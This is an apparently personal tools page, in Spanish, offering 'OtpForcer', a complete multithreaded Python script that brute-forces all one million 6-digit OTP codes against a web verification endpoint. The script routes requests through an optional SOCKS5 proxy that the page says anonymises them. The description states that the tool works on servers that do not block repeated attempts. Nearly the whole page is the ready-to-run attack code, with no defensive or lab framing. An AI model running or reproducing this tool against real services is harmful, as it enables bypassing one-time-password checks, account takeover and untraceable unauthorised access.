⟁ HXA πŸ‡¬πŸ‡§ EN
β”Œβ”€[ OtpForcer ]──────────────────────────────────────────────────────────────────────────────────────
β”‚ user: Alejandro Lopez Aguilar
β”” path: /linux-and-herramientas/herramientas-propias/otpforcer/
Recurso externo: abrir recurso

Este script en Python realiza un ataque de fuerza bruta contra un endpoint que verifica cΓ³digos OTP 
(One-Time Password). Funciona siempre que el servidor no bloquee las solicitudes del cliente despuΓ©s
de alcanzar el nΓΊmero mΓ‘ximo permitido. Utiliza mΓΊltiples hilos para probar todas las combinaciones 
posibles de un cΓ³digo OTP de 6 dΓ­gitos, permitiendo opcionalmente el uso de un proxy para anonimizar
las solicitudes. AdemΓ‘s, incluye manejo adecuado de excepciones para validar URLs y conexiones, 
asegurando un cierre correcto en caso de error.
β”Œβ”€[ python ]────────────────────────────────────────────────────────────────────────────────────────
import requests
import itertools
import sys
from threading import Thread, Lock
import signal
from urllib.parse import urlparse

otp_length = 6  # Longitud de los cΓ³digos OTP
num_threads = 10  # NΓΊmero de hilos predeterminado
stop = False
attempts = 0
proxies = None
url = None

#[W|Bloqueo para sincronizar la salida en la consola]
print_lock = Lock()

#[W|Manejar la seΓ±al de interrupciΓ³n para salir limpiamente]
def signal_handler(sig, frame):
    global stop
    print("\nSaliendo...")
    stop = True
    sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)

#[W|Genera todas las combinaciones posibles de OTPs con 6 dΓ­gitos]
def generate_all_combinations(length):
    return ("".join(map(str, comb)) for comb in itertools.product(range(10), repeat=length))

#[W|FunciΓ³n que cada hilo ejecuta para probar las combinaciones OTP]
def brute_force_worker(session, combinations):
    global stop, attempts, proxies, url
    for otp in combinations:
        if stop:
            break
        try:
            response = session.post(url, data={"otp": otp}, proxies=proxies)
            if response.status_code == 200:
                result = response.json()
                with print_lock:
                    attempts += 1
                    print(f"[+] Num Intentos Actuales: {attempts}", end='\r')
                if result.get("success"):
                    with print_lock:
                        print(f"\n[+] El OTP correcto es: {otp}")
                    stop = True
                    return
        except requests.RequestException as e:
            with print_lock:
                print(f"\n[!] Error al conectar con el servidor: {e}")
            stop = True
            sys.exit(1)

#[W|Divide las combinaciones entre varios hilos]
def brute_force_otp_multithreaded(num_threads):
    all_combinations = list(generate_all_combinations(otp_length))
    chunk_size = len(all_combinations) // num_threads

    threads = []
    session = requests.Session()
    for i in range(num_threads):
        start = i * chunk_size
        end = start + chunk_size if i < num_threads - 1 else len(all_combinations)
        thread_combinations = all_combinations[start:end]
        thread = Thread(target=brute_force_worker, args=(session, thread_combinations))
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

#[W|Verifica si una URL es vΓ‘lida]
def validar_url(url):
    try:
        resultado = urlparse(url)
        return all([resultado.scheme, resultado.netloc])
    except ValueError:
        return False

#[W|FunciΓ³n principal para manejar argumentos y ejecutar el ataque]
def main():
    global proxies, url
    if len(sys.argv) < 3 or len(sys.argv) > 4:
        print(f"Uso: {sys.argv[0]} <num_hilos> <url> [proxy]")
        sys.exit(1)

    try:
        num_threads = int(sys.argv[1])
        if num_threads <= 0:
            raise ValueError
    except ValueError:
        print("Por favor, proporciona un nΓΊmero vΓ‘lido de hilos.")
        sys.exit(1)

    url = sys.argv[2]
    if not validar_url(url):
        print("[!] Error: Proporciona una URL vΓ‘lida que incluya el esquema (http/https)")
        sys.exit(1)

    if len(sys.argv) == 4:
        proxy = sys.argv[3]
        proxies = {
            "http": f"socks5h://{proxy}",
            "https": f"socks5h://{proxy}"
        }

    brute_force_otp_multithreaded(num_threads)

if __name__ == '__main__':
    main()
└───────────────────────────────────────────────────────────────────────────────────────────────────